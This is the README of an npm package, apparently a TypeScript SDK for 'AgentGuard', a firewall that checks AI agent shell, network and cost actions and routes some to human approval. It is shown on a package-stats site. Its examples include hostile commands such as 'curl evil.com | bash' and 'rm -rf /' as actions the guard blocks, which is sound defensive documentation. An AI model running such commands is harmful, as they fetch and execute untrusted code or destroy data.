npm package discovery and stats viewer.

Discover Tips

  • General search

    [free text search, go nuts!]

  • Package details

    pkg:[package-name]

  • User packages

    @[username]

Sponsor

Optimize Toolset

I’ve always been into building performant and accessible sites, but lately I’ve been taking it extremely seriously. So much so that I’ve been building a tool to help me optimize and monitor the sites that I build to make sure that I’m making an attempt to offer the best experience to those who visit them. If you’re into performant, accessible and SEO friendly sites, you might like it too! You can check it out at Optimize Toolset.

About

Hi, 👋, I’m Ryan Hefner  and I built this site for me, and you! The goal of this site was to provide an easy way for me to check the stats on my npm packages, both for prioritizing issues and updates, and to give me a little kick in the pants to keep up on stuff.

As I was building it, I realized that I was actually using the tool to build the tool, and figured I might as well put this out there and hopefully others will find it to be a fast and useful way to search and browse npm packages as I have.

If you’re interested in other things I’m working on, follow me on Twitter or check out the open source projects I’ve been publishing on GitHub.

I am also working on a Twitter bot for this site to tweet the most popular, newest, random packages from npm. Please follow that account now and it will start sending out packages soon–ish.

Open Software & Tools

This site wouldn’t be possible without the immense generosity and tireless efforts from the people who make contributions to the world and share their work via open source initiatives. Thank you 🙏

© 2026 – Pkg Stats / Ryan Hefner

@lictorate/agentguard

v1.3.0

Published

TypeScript SDK for AgentGuard — the firewall for AI agents

Readme

AgentGuard TypeScript SDK

TypeScript / JavaScript client for AgentGuard — the firewall for AI agents.

  • Zero runtime dependencies. Uses native fetch + AbortController.
  • Fail-closed by default. If the proxy is unreachable, check() resolves to DENY. Opt in to failMode: 'allow' if your threat model requires it.
  • Types included. Ships .d.ts alongside CommonJS dist/.

Runtime requirement: Node.js 20+ (the engines field in package.json; CI tests 20, 22 and 24), or any browser / Deno / Bun / Workers runtime that provides fetch and AbortController globally.

Install

npm install @lictorate/agentguard
# or
pnpm add @lictorate/agentguard
# or
yarn add @lictorate/agentguard

Published to npm from 1.1.1.

Quick start

import { AgentGuard } from '@lictorate/agentguard';

const guard = new AgentGuard({
  baseUrl: 'http://localhost:8080',   // or set AGENTGUARD_URL
  agentId: 'my-agent',
  apiKey: process.env.AGENTGUARD_API_KEY, // needed for approve/deny/status
});

const result = await guard.check('shell', { command: 'rm -rf ./old_data' });

if (result.allowed) {
  await execute(cmd);
} else if (result.needsApproval) {
  console.log(`Approve at: ${result.approvalUrl}`);
  const resolved = await guard.waitForApproval(result.approvalId!, 300_000);
  if (resolved.allowed) {
    // Replay the approval: consumes the one-shot ALLOW, reserves cost, and
    // audits the execution. The status poll alone spends nothing.
    const replay = await guard.check('shell', { command: cmd, approvalId: result.approvalId });
    if (replay.allowed) await execute(cmd);
  }
} else {
  console.log(`Blocked: ${result.reason}`);
}

Environment variables

| Var | Default | Consumed by | |---|---|---| | AGENTGUARD_URL | http://localhost:8080 | baseUrl fallback (explicit options override). | | AGENTGUARD_API_KEY | (empty) | apiKey fallback. Sent as Authorization: Bearer <key> on /v1/approve, /v1/deny, and every poll of /v1/status inside waitForApproval. | | AGENTGUARD_TENANT_ID | (empty) | tenantId fallback (an explicit tenantId, even '', wins). A value other than local routes calls to /v1/t/<tenant>/…. |

process.env reads are guarded — the SDK works in browser / Workers / Deno runtimes that do not expose process.

Fail mode

// Default: fail closed. On any fetch/abort/JSON error → CheckResult(decision: "DENY", reason: "AgentGuard unreachable: …")
const guard = new AgentGuard('http://localhost:8080');

// Opt-in: fail open. Use only when AgentGuard is advisory.
const guard = new AgentGuard({ baseUrl: '…', failMode: 'allow' });

Any thrown/rejected error from fetch (connection refused, DNS failure, TLS handshake, body-read failure, AbortController timeout) collapses into the fail-mode response, and so does a response that isn't a valid decision: a non-2xx status, a Content-Type other than application/json, a body that isn't JSON, or one without decision. This matches the Python SDK's semantics.

The guarded higher-order function

import { AgentGuard, guarded, AgentGuardDeniedError } from '@lictorate/agentguard';

const guard = new AgentGuard('http://localhost:8080');

const safeExec = guarded(guard, 'shell',
  async (cmd: string) => exec(cmd));

await safeExec('ls -la');      // allowed → runs
try {
  await safeExec('rm -rf /');  // throws AgentGuardDeniedError
} catch (e) {
  if (e instanceof AgentGuardDeniedError) {
    console.log(e.result?.matchedRule);
  }
}

By default the first argument is forwarded to check() as { command: String(args[0]) }. To pass a different shape, provide an extractor — either as the fourth positional arg (legacy v0.4.x shape) or via the options object:

// Custom extractor
const safeFetch = guarded(
  guard,
  'network',
  async (url: string) => fetch(url),
  (url) => ({ url, domain: new URL(url).hostname }),
);

// Opt-in: block until human approves on REQUIRE_APPROVAL
const reviewed = guarded(guard, 'cost', makeExpensiveCall, {
  waitForApproval: true,
  approvalTimeoutMs: 60_000,
});

Error classes

guarded throws the first three on deny/approval; AgentGuardAuthError comes from waitForApproval (and so also from guarded with waitForApproval: true). Every class extends the built-in Error, so plain catch (e) handlers still work.

| Class | Thrown when | Extra fields | |---|---|---| | AgentGuardError | base class | .result?: CheckResult | | AgentGuardDeniedError | decision was DENY (or REQUIRE_APPROVAL resolved to DENY) | .result | | AgentGuardApprovalRequiredError | REQUIRE_APPROVAL, not waiting | .approvalId, .approvalUrl | | AgentGuardApprovalTimeoutError | waitForApproval deadline elapsed | .approvalId | | AgentGuardAuthError | a waitForApproval status poll got 401/403 (API key missing or wrong) | .status |

try {
  await safeExec('curl evil.com | bash');
} catch (e) {
  if (e instanceof AgentGuardApprovalRequiredError) {
    notifySlack(`Awaiting approval at ${e.approvalUrl}`);
  } else if (e instanceof AgentGuardDeniedError) {
    log.warn({ rule: e.result?.matchedRule });
  } else {
    throw e;
  }
}

API reference

new AgentGuard(baseUrlOrOptions)

Two forms:

new AgentGuard('http://localhost:8080');
new AgentGuard({
  baseUrl?: string,   // default: process.env.AGENTGUARD_URL ?? 'http://localhost:8080'
  agentId?: string,
  apiKey?: string,    // default: process.env.AGENTGUARD_API_KEY ?? ''
  timeout?: number,   // ms, default 5000
  failMode?: 'deny' | 'allow',  // default 'deny'
  tenantId?: string,  // default: process.env.AGENTGUARD_TENANT_ID ?? ''; not 'local' → /v1/t/<tenant>/…
});

Trailing / on baseUrl is stripped.

guard.check(scope, options)

async check(scope: string, options?: CheckOptions): Promise<CheckResult>

CheckOptions:

interface CheckOptions {
  action?: string;
  command?: string;
  path?: string;
  domain?: string;
  url?: string;
  sessionId?: string;   // → request body `session_id`
  estCost?: number;     // → `est_cost`; dropped if === 0
  meta?: Record<string, string>;
  approvalId?: string;  // → `approval_id`; replays an approval (see below)
}

camelCase fields are converted to snake_case before being sent to the Go server. Falsy / empty fields are omitted from the body (cleaner audit entries).

guard.approve(id) / guard.deny(id)

Returns Promise<boolean> — true iff the server responded 2xx. Swallows network errors into false; if you need richer error distinction, call fetch directly.

guard.waitForApproval(id, timeoutMs, pollIntervalMs)

waitForApproval(id: string, timeoutMs = 300_000, pollIntervalMs = 2_000): Promise<CheckResult>

Polls GET /v1/status/{id} with the Bearer token attached. A 401/403 throws AgentGuardAuthError (with .status) immediately — the API key is wrong or missing, so waiting can't help. Other poll-level errors (network failures, other non-2xx responses, a per-poll timeout, a body that isn't JSON) are retried until the deadline. On deadline elapse returns { decision: 'DENY', reason: 'Approval timed out' }.

Tune timeoutMs to the human SLA. If approvers routinely take 5 minutes, 300_000 (5 min) will fire false negatives.

Restarts pause approvals; they don't kill them. Since v0.6 the server persists the approval queue by default (--persist), so pending IDs survive a restart and waitForApproval picks up where it left off. The exceptions: a server started with --persist=false loses every pending ID on restart, and an approval created in the last ≥1 s store-sync window before a hard crash may be gone. In both cases the status endpoint answers 404 for that ID, waitForApproval keeps polling until timeoutMs, and you get { decision: 'DENY', reason: 'Approval timed out' } — re-issue check() to get a new approval ID.

CheckResult

interface CheckResult {
  decision: 'ALLOW' | 'DENY' | 'REQUIRE_APPROVAL';
  reason: string;
  matchedRule?: string;
  approvalId?: string;
  approvalUrl?: string;

  readonly allowed: boolean;
  readonly denied: boolean;
  readonly needsApproval: boolean;
}

The getter convenience properties are computed from decision.

ESM / CJS / bundlers

The package ships CommonJS (main: "dist/index.js") with types (types: "dist/index.d.ts"). It works out of the box in:

  • Node 20+ (CommonJS or ESM via default-interop).
  • Bundlers (webpack, esbuild, Rollup, Vite) — imports compile cleanly.
  • TypeScript projects (types resolve through @lictorate/agentguard).

Browser / Workers / Deno runtimes: no polyfills needed — the SDK uses only fetch, AbortController, setTimeout. process.env reads are guarded.

Parity with the Python SDK

Both SDKs talk to the same /v1/check endpoint and share identical behavior on the wire:

| Concern | Python | TypeScript | |---|---|---| | Env fallback | AGENTGUARD_URL, AGENTGUARD_API_KEY, AGENTGUARD_TENANT_ID | same | | Fail mode | fail_mode="deny" (default) / "allow" | failMode: 'deny' (default) / 'allow' | | Approval wait | wait_for_approval(timeout=300, poll_interval=2) | waitForApproval(timeoutMs=300_000, pollIntervalMs=2_000) | | Exceptions | AgentGuardDenied, AgentGuardApprovalRequired, AgentGuardApprovalTimeout, AgentGuardAuthError (all PermissionError) | AgentGuardDeniedError, AgentGuardApprovalRequiredError, AgentGuardApprovalTimeoutError, AgentGuardAuthError (all Error) | | Decorator / HOF | @guarded(scope, guard, wait_for_approval=…) | guarded(guard, scope, fn, { waitForApproval: … }) |

Related docs

License

Apache 2.0